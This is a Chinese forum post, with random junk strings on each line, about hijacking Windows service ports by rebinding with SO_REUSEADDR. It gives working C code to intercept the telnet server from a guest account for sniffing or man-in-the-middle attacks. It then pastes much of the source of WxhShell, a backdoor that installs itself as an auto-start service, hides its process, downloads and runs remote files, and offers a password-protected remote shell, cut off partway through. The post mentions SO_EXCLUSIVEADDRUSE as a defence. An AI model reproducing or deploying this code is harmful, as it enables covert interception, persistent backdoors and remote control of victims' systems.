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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5 Z@Q ^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #pZ3xa3R  
ms?h/*E<H  
  saddr.sin_family = AF_INET; f-Sb:O!V  
^^v!..V]J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |Bjb  
uwbj`lpf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pCq{F*;  
'F@'4[uda  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :G!Kaa,r  
6wGf47  
  这意味着什么?意味着可以进行如下的攻击: Y!5-WX H  
j9Lc2'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <_D+'[  
n@*NQ`(_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @=$;^}JS|  
ZY83, :<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {9z EnVfg  
4FYws5]$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k @[Bx>  
x{=ty*E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6`4=!ZfI  
y'(;!5w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wL:3RZB  
pBHr{/\5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rwU[dqBRhc  
U:_&aY_  
  #include o0AREZ+I  
  #include *dGW=aM#C  
  #include N/Z<v* i"  
  #include    myH#.$=A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =>4,/g3  
  int main() :Vv=p*~  
  { 9]l7 j\L  
  WORD wVersionRequested; 3^8%/5$v  
  DWORD ret; pZXva9bE  
  WSADATA wsaData; fk=_ Y  
  BOOL val; S/8xo@vct]  
  SOCKADDR_IN saddr; ?L'ijzP  
  SOCKADDR_IN scaddr; p!173y,nL  
  int err; s@0#w*N  
  SOCKET s; p VLfZ?78  
  SOCKET sc; p=T]%k*^h#  
  int caddsize; rNdap*.  
  HANDLE mt; wF}/7b54  
  DWORD tid;   \T>f+0=4  
  wVersionRequested = MAKEWORD( 2, 2 ); iB{O"l@w  
  err = WSAStartup( wVersionRequested, &wsaData ); !x[ +rf  
  if ( err != 0 ) { iGM-#{5  
  printf("error!WSAStartup failed!\n"); EFhe``  
  return -1; N n+leM  
  } ]^R;3kU4Q  
  saddr.sin_family = AF_INET; &vo]l~.  
   )0YMi!&j`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .Q4EmpByCg  
gFJd8#6t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); // g~1(  
  saddr.sin_port = htons(23); nx8 4l7<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p^^E(<2  
  { xrp%b1Sy  
  printf("error!socket failed!\n"); 0OP6VZ\  
  return -1; 1Sr@$+VGO  
  } ]=7}Y%6  
  val = TRUE; M{Wla 7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kF`2%g+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) = T!iM2  
  { ]& jXD=a"  
  printf("error!setsockopt failed!\n"); S!0<aFh  
  return -1; d?.ewsC  
  } Yc&yv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _}8O15B|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NN>,dd3T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "o+< \B~  
h:}oUr8   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $b QD{ {  
  { mY+J ju1  
  ret=GetLastError(); ?Bno?\  
  printf("error!bind failed!\n"); C5c@@ch :  
  return -1; )k&<D*5s  
  } WnyEdYA  
  listen(s,2); nn5tOV}QE  
  while(1) YAYPof~A$l  
  { sB"Oi|#lk  
  caddsize = sizeof(scaddr); tt $DWmm  
  //接受连接请求 |7LhE+E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZEYT17g]  
  if(sc!=INVALID_SOCKET) @FKm_q  
  { kj{z;5-dl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d="Oge8  
  if(mt==NULL) d kVF  
  { 0Ihp`QGU:  
  printf("Thread Creat Failed!\n"); D2z" Z@  
  break; 2~h! ouleY  
  } q$L=G  
  } N_Q)AXr)  
  CloseHandle(mt); A)/8j2  
  } c>!zJA B  
  closesocket(s); I]+xerVd  
  WSACleanup(); !W4A 9Th  
  return 0; ZfsM($|a  
  }   R9@Dd  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'Z5l'Ac  
  { Jh`Pq,B:  
  SOCKET ss = (SOCKET)lpParam; lQ(I/[qVd  
  SOCKET sc; 5tfD*j n  
  unsigned char buf[4096]; zW.I7Z0^  
  SOCKADDR_IN saddr; z=%&?V  
  long num; .,[ NJ:l  
  DWORD val; E}6q;"[  
  DWORD ret; }x!=F<Q!r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qf|x]x*5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `s1>7XWf  
  saddr.sin_family = AF_INET; paCC'*bv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M~/7thP{  
  saddr.sin_port = htons(23); ggn C #$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f4[fXP;A  
  { oE/g) m%  
  printf("error!socket failed!\n"); T1$=0VSEa+  
  return -1; VS` tj  
  } )c*NS7D~f  
  val = 100; *~Y$8!ad  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <e&88{jJ  
  { ]cQYSN7!SY  
  ret = GetLastError(); \G4L+Q/13  
  return -1; _L8|Z V./  
  } M$J{clr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ??5y0I6+  
  { WzinEo{ f  
  ret = GetLastError(); TwfQq`  
  return -1; |NMf'$  
  } ,i]X^z5!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !m {d6C[  
  { [d d KC)tA  
  printf("error!socket connect failed!\n"); WR|n>i@m  
  closesocket(sc); t_xO-fT)  
  closesocket(ss); Th.Mn}1%L  
  return -1; mv,p*0  
  } \:mZ)f3K=  
  while(1) e};\"^H H  
  { 2|a5xTzH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y,/Arl}yc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]&b>P ;j:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^QG;:.3v  
  num = recv(ss,buf,4096,0); n=F|bW  
  if(num>0) @LyCP4   
  send(sc,buf,num,0); L$zB^lSM  
  else if(num==0) 'G)UIjl  
  break; |YnT;q  
  num = recv(sc,buf,4096,0); ITssBB9  
  if(num>0) U0m 5Rc  
  send(ss,buf,num,0); '}5Yc,  
  else if(num==0) aam6R/4  
  break; kVRh/<s  
  } O~*`YsL9  
  closesocket(ss); (O!Q[WLS  
  closesocket(sc); EP'I  
  return 0 ; rYI7V?  
  } Gnthz0\]{  
w7E7r?)Wl|  
Wm^RfxgN/  
========================================================== }K.2  
~PZIYG"D  
下边附上一个代码,,WXhSHELL 4:0y\M5u  
Jfs_9g5  
========================================================== ExxD w_VGT  
WKvG|YRDq  
#include "stdafx.h" o;"Phc.  
pNNvg,hS8  
#include <stdio.h> &_dM2lj{  
#include <string.h> AuIg=-xR  
#include <windows.h> 78UE?) X"  
#include <winsock2.h> kSUpEV+/  
#include <winsvc.h> V`& O`  
#include <urlmon.h> 0-at#r:  
H"vkp~u]I  
#pragma comment (lib, "Ws2_32.lib") *Sw1b7l  
#pragma comment (lib, "urlmon.lib") ?,z/+/:  
h%PbM`:}6  
#define MAX_USER   100 // 最大客户端连接数 ?}ly`Js  
#define BUF_SOCK   200 // sock buffer ^~DDl$NH  
#define KEY_BUFF   255 // 输入 buffer ;_6 CV  
y!u=]BE  
#define REBOOT     0   // 重启 yKB&][)&  
#define SHUTDOWN   1   // 关机 lN~V1(1B  
3aUWQP2  
#define DEF_PORT   5000 // 监听端口   !XQq*  
)WH;G:$&"  
#define REG_LEN     16   // 注册表键长度 kNk$[Yfs  
#define SVC_LEN     80   // NT服务名长度 0^9%E61YR  
Vk:] aveW  
// 从dll定义API r7Zx<c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r WULv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BN%;AQV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cnraNq1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w#^z:7fI  
G7N Rpr  
// wxhshell配置信息 _ K Ix7  
struct WSCFG { /8Ru O  
  int ws_port;         // 监听端口 o"j$*o=  
  char ws_passstr[REG_LEN]; // 口令 yllEg9L0z  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^\Epz* cL  
  char ws_regname[REG_LEN]; // 注册表键名 d:8c}t2X  
  char ws_svcname[REG_LEN]; // 服务名 Xy]Pmt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 > e"vP W*[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .K`EflN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ),(HCzK`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "I,=L;p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &w%--!T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^`?M~e2FZ8  
;Q>+#5H6F8  
}; i`^[_  
b6UpE`\z  
// default Wxhshell configuration ?np3*;lw  
struct WSCFG wscfg={DEF_PORT, mlix^P  
    "xuhuanlingzhe", N4)ZPLV  
    1, +SNjU"x  
    "Wxhshell", Xv<K>i>k  
    "Wxhshell", ''Hx&  
            "WxhShell Service", v3b+Ddp  
    "Wrsky Windows CmdShell Service", bbs'>D3  
    "Please Input Your Password: ", KBa ]s q_  
  1, xG WA5[YV  
  "http://www.wrsky.com/wxhshell.exe", )F_nK f"a  
  "Wxhshell.exe" RXRoMg!-P  
    }; ;6M [d  
F%IvgXt5  
// 消息定义模块 (vFO'jtcB-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x|$|~ 6f=n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "\+.S]~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mp?L9  
char *msg_ws_ext="\n\rExit."; ~L4L|q 7  
char *msg_ws_end="\n\rQuit."; ^*"i *e  
char *msg_ws_boot="\n\rReboot..."; h + <Jv   
char *msg_ws_poff="\n\rShutdown..."; k~*%Z!V}C  
char *msg_ws_down="\n\rSave to "; SQ DfDrYP  
MdDL?ev  
char *msg_ws_err="\n\rErr!"; ;EQ7kuJQ?  
char *msg_ws_ok="\n\rOK!"; s_}`TejK  
' eh }t  
char ExeFile[MAX_PATH]; &dG^M2g-F  
int nUser = 0; d7S?"JpV  
HANDLE handles[MAX_USER]; u|cP&^S  
int OsIsNt; xqb*;TBh*  
AsI\#wL)  
SERVICE_STATUS       serviceStatus;  <H npI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _2TL>1KZt  
i1S cXKO  
// 函数声明 d ehK#8  
int Install(void); E=Vp%08(  
int Uninstall(void); Zs4NN 2~  
int DownloadFile(char *sURL, SOCKET wsh); On|b-  
int Boot(int flag); 8S7#tb@3  
void HideProc(void); &["e1ki  
int GetOsVer(void); Sc]G7_  
int Wxhshell(SOCKET wsl); \CX6~  
void TalkWithClient(void *cs); 2 w6iqLr?  
int CmdShell(SOCKET sock); &?$mS'P  
int StartFromService(void);  |nfMoUI  
int StartWxhshell(LPSTR lpCmdLine); JvK]EwR ;  
/+1(,S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j^%N:BQ&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &$ud;r#  
^GlzKl   
// 数据结构和表定义 *`8JJs0g  
SERVICE_TABLE_ENTRY DispatchTable[] = !ewT#afyu(  
{ ]6F\a= J  
{wscfg.ws_svcname, NTServiceMain}, Au6Y]  
{NULL, NULL} U(LLIyZv  
}; l))Q/8H  
!*f$*,=^  
// 自我安装 \2]_NU5.  
int Install(void) fY6~Z BvK  
{ Cv}^]_`Q  
  char svExeFile[MAX_PATH]; G{I),Y~IF  
  HKEY key; T];dFv-GT  
  strcpy(svExeFile,ExeFile); gJCZ9{Nl  
@mmnr?_w  
// 如果是win9x系统,修改注册表设为自启动 Bhv$   
if(!OsIsNt) { ~d].<Be  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lj UdsUw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N/ f7"~+`  
  RegCloseKey(key); *\(z"B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T@Y, 7ccpd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nke!!A}\|  
  RegCloseKey(key); J/O{x  
  return 0; 6i2%EC9  
    } ?^M,Mt  
  } 6JDaZh"=K  
} (0B?OkQ  
else { yIrJaS-  
xDGS`o_w_  
// 如果是NT以上系统,安装为系统服务 bMGn&6QiP[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fCwE1r*^  
if (schSCManager!=0) R(`:~@ 3\6  
{ D}q"^"#T  
  SC_HANDLE schService = CreateService tq}45{FH3  
  ( ! 5NuFLOf  
  schSCManager, ;8eKAh  
  wscfg.ws_svcname, i'7+ ?YL  
  wscfg.ws_svcdisp, o6d x\  
  SERVICE_ALL_ACCESS, fT|A^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T*f/M  
  SERVICE_AUTO_START, @phVfP"M  
  SERVICE_ERROR_NORMAL, !t^DN\\#  
  svExeFile, %VH,(}i  
  NULL, aPVzOBp  
  NULL, sVK?sBs]  
  NULL, qD4]7"9  
  NULL, Jsysk $R  
  NULL lI 4tW=  
  ); ;~EQS.Qp  
  if (schService!=0) ) ](ls@*  
  { )63 $,y-;$  
  CloseServiceHandle(schService); %'yrIR  
  CloseServiceHandle(schSCManager); d=PX}o^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !g9k9 l  
  strcat(svExeFile,wscfg.ws_svcname); p 1'l D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b,E?{uG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?: yz/9(  
  RegCloseKey(key); bI55G#1G  
  return 0; y%SxQA +\  
    } s*ZE`/SM3  
  } >ESVHPj]  
  CloseServiceHandle(schSCManager); ZpV]X(Px(o  
} NO o?  
} (-21h0N[V  
n^Ca?|} ,  
return 1; @ph!3<(In,  
} ]>t~Bcn m  
H OR8Jwf:  
// 自我卸载 6^wI^`NI  
int Uninstall(void) STp9Gh-  
{ rm8Ys61\=  
  HKEY key; H#~gx_^U  
zj1~[$  (  
if(!OsIsNt) { h Ma;\k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2'DCB{Jv  
  RegDeleteValue(key,wscfg.ws_regname); ]YgR  
  RegCloseKey(key); H<(F$7Q!\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cb|+6m~  
  RegDeleteValue(key,wscfg.ws_regname); {A/r)  
  RegCloseKey(key); ; oyV8P$  
  return 0; hOY@vm&  
  } b=,B Le\  
} m/KaWrw/)  
}  ]n!V  
else { "do5@$p|  
Mg;pNK\n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'D+xs}\  
if (schSCManager!=0) ]pn U"  
{ ?veeW6E(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5/=$p:E>  
  if (schService!=0) 1dQAo1  
  { A2|Bbqd  
  if(DeleteService(schService)!=0) { } tBw<7fe  
  CloseServiceHandle(schService); [zq2h3r  
  CloseServiceHandle(schSCManager); XgXXBKf$  
  return 0; 7K&Uu3m  
  } y8C8~-&OK  
  CloseServiceHandle(schService); ~K5A$ s2  
  } K } T=j+  
  CloseServiceHandle(schSCManager); hi(e%da  
} O8>&J-+2  
} K;Hgq4  
- q(a~Ge  
return 1; |c2sJyj*  
} 4i&Rd1#0dI  
o~CEja &(  
// 从指定url下载文件 _ iDVd2X"H  
int DownloadFile(char *sURL, SOCKET wsh) 1M_Vhs^  
{ gMZ+kP`  
  HRESULT hr; N^wHO<IO 1  
char seps[]= "/"; VR1[-OE  
char *token; ] >w@@A  
char *file; }CZw'fhVWO  
char myURL[MAX_PATH]; rH,@"( p\  
char myFILE[MAX_PATH]; 2A";o E  
K1R?Qt,qDF  
strcpy(myURL,sURL); p_]b=3wt~  
  token=strtok(myURL,seps); sV5") /~  
  while(token!=NULL) x@/:{B   
  { ? * ,  
    file=token; ux!YVvTPd  
  token=strtok(NULL,seps); ^Z\"d#A  
  } imzPVGCD{  
Ndb7>"W  
GetCurrentDirectory(MAX_PATH,myFILE); v.4G>00^  
strcat(myFILE, "\\"); .m\0<8C  
strcat(myFILE, file); Rrl  
  send(wsh,myFILE,strlen(myFILE),0); xsPt  
send(wsh,"...",3,0); u8%X~K\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `$6~QLUf  
  if(hr==S_OK) X's<+hK&  
return 0; $)X8'1%6  
else ,LSiQmV5  
return 1; 4 83rU  
zA.0Sm  
} < FO=PM  
bX:h"6{=R  
// 系统电源模块 (C).Vj~  
int Boot(int flag) XpE847!soL  
{ :-Py0{s  
  HANDLE hToken; S++~w9}  
  TOKEN_PRIVILEGES tkp; yf8kBT:&S  
IPYwUix  
  if(OsIsNt) { dkCU U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eMFxdtH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -MTYtw(  
    tkp.PrivilegeCount = 1; XG C\6?L~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $7g+/3Fu^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :E~rve'  
if(flag==REBOOT) { t8xXGWk0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'x"(OdM:[  
  return 0; PR$;*|@  
} $of2lA  
else { fxr#T'i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pgy[\t2K  
  return 0; LfFXYX^  
} 6},[HpXRc4  
  } +0UBP7kn  
  else { vPz7*w  
if(flag==REBOOT) { i-5,* 0e6m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #eJ<fU6Da  
  return 0; u Z-ZZE C  
} cY_ke  
else { ,#&7+e!]>P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fbOqxF"?we  
  return 0; Ox-eB  
} YE{t?Y\5  
} MsP6C)dz  
]- `wXi"  
return 1; vI5lp5( -3  
} NId.TaXh  
_(kaaWJ  
// win9x进程隐藏模块 pxd=a!(  
void HideProc(void) +?m.uY(  
{ 1d]F$ >  
Uza '%R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }F_c0zM  
  if ( hKernel != NULL ) [{BY$"b#:  
  { Dpw*m.f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `a|&aj0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uu,F5<y[  
    FreeLibrary(hKernel); ~S\L(B(  
  } }>u `8'2v  
*$NZi*z3  
return; p .=9[`  
} '"\M`G  
\?^2}K/  
// 获取操作系统版本 X(nyTR8  
int GetOsVer(void) 9 =;mY  
{ 4Qf sxg  
  OSVERSIONINFO winfo; #[lhem]IC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GN(<$,~g  
  GetVersionEx(&winfo); m3lz#Pm'0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8a P/vToa  
  return 1; bhpku=ov  
  else YoKyiO!   
  return 0; UDg' s  
} 8v& \F  
X&qx4 DL  
// 客户端句柄模块 #lLUBJ#:  
int Wxhshell(SOCKET wsl) ;X,u   
{ U@mznf* J  
  SOCKET wsh; L EgP-s W  
  struct sockaddr_in client; {G:y?q'z  
  DWORD myID; "S%t\  
<'I["Um  
  while(nUser<MAX_USER) PX 8UVA  
{ S13cQ?4  
  int nSize=sizeof(client); (G>[A}-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #]@HsVXh7  
  if(wsh==INVALID_SOCKET) return 1; EMW6'  
1q;v|F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 37/n"\4  
if(handles[nUser]==0) 5G* cAlU  
  closesocket(wsh); #dA$k+3  
else !LI<%P)  
  nUser++; jV3PTU  
  } ' [ 4;QYw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }~XWtWbd-  
BPba3G9H  
  return 0; 2@D`^]]  
} pIJXP$v3  
` R6`"hx$  
// 关闭 socket T pkSY`T  
void CloseIt(SOCKET wsh) 7^q~a(j  
{ V)`2 Kw  
closesocket(wsh); B[t^u\Fk  
nUser--; ~7P)$[  
ExitThread(0); V8?}I)#(7  
} SiratkP9n7  
aLJm%uW6m&  
// 客户端请求句柄 cj/`m$  
void TalkWithClient(void *cs) G'ykcB._  
{ ,kN;d}bg  
:]^e-p!z  
  SOCKET wsh=(SOCKET)cs; y>^^.  
  char pwd[SVC_LEN]; )h!cOEt  
  char cmd[KEY_BUFF]; }htjT/Nm  
char chr[1]; "s*-dZO  
int i,j; q+ $6D;9  
RK>Pe3<  
  while (nUser < MAX_USER) { l4Xz r:]  
_u`YjzK  
if(wscfg.ws_passstr) { xt{'Be&Ya+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *eVq(R9?T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4q$~3C[  
  //ZeroMemory(pwd,KEY_BUFF); 3FEJ 9ZyG  
      i=0; C|(A/b  
  while(i<SVC_LEN) { RU)35oEV|  
g,Z A\R~  
  // 设置超时 @ D+ftb/  
  fd_set FdRead; T(4d5 fY  
  struct timeval TimeOut; |y\Km  
  FD_ZERO(&FdRead); ^NW[)Dq1<  
  FD_SET(wsh,&FdRead); L[` l80  
  TimeOut.tv_sec=8; KhCP9(A=Qo  
  TimeOut.tv_usec=0; z*y!Ml1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S2~cAhR|M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nR!e(  
30Q p^)K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) nfoDG#O  
  pwd=chr[0]; !QUY (  
  if(chr[0]==0xd || chr[0]==0xa) { QFyL2Xes/  
  pwd=0; 8!g `bC#%  
  break; wucdXj{%  
  } CUA @CZ6{  
  i++; &c`-/8c  
    } TBhM^\z  
BxY t*b%  
  // 如果是非法用户,关闭 socket TQ Vk;&A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R#(0C(FI^  
} +>w]T\[1~  
-wl j;U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zd?@xno  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0bNvmZ$  
I0=_=aZO(  
while(1) { 1C[9}}  
rCyb3,W  
  ZeroMemory(cmd,KEY_BUFF); ejRK-!  
R{hX--|j  
      // 自动支持客户端 telnet标准   -DDA b(2*  
  j=0; :fRXLe1=  
  while(j<KEY_BUFF) { _Fb}zPU!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *P()&}JK  
  cmd[j]=chr[0]; +bjy#=  
  if(chr[0]==0xa || chr[0]==0xd) { e_BG%+;G,  
  cmd[j]=0; yIw}n67  
  break; l}{{7~C`  
  } [+#m THX  
  j++; 8$Q`wRt(%  
    } KuNLu31%  
)cf i@-J+#  
  // 下载文件 <sdgL+&1h  
  if(strstr(cmd,"http://")) { )!y>2$20 r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aCQtE,.  
  if(DownloadFile(cmd,wsh)) fBO/0uW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?}||?2=P  
  else tobE3Od4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 91 jRIB  
  } wNONh`b  
  else { 6K2e]r  
5 s7BUT  
    switch(cmd[0]) { @xG&K{j  
  xh6(~'$  
  // 帮助 |5@Ra@0  
  case '?': { &\zYbGU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~{x1/eH  
    break; 3F9V,zWtTi  
  } VA/2$5Wu  
  // 安装 9O[IR)O~  
  case 'i': { /i+z#q5'  
    if(Install()) BU nujC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =4y gbk  
    else 9t! d.}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N#w5}It  
    break; %V_ XY+o  
    } c '|*{%<e2  
  // 卸载 {9IRW\kn  
  case 'r': { dg D-"-O  
    if(Uninstall()) B`pBIUu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AR"2?2<mJ7  
    else KbJ6U75|f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,f03TBD}  
    break; 2w>%-_]u+  
    } ,%i Scr,z  
  // 显示 wxhshell 所在路径 $`pf!b2Z  
  case 'p': { iIfiv<(ChM  
    char svExeFile[MAX_PATH]; "+DA)K  
    strcpy(svExeFile,"\n\r"); FlO?E3d  
      strcat(svExeFile,ExeFile); o.s'0xP]  
        send(wsh,svExeFile,strlen(svExeFile),0); $-_" SWG.  
    break; BD6!,  
    } j }~?&yB  
  // 重启 (6%T~|a  
  case 'b': { l;$F[/3a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Km2~nkQ  
    if(Boot(REBOOT)) *oO%+6nL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bGh&@&dHr  
    else { 'afW'w@  
    closesocket(wsh); L F?/60  
    ExitThread(0); * :"*'  
    } >=k7#av  
    break; ] 0i[=  
    } b+s'B4@rb  
  // 关机 @6UY4vq9  
  case 'd': { Kq7r+ A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <I,4Kc!  
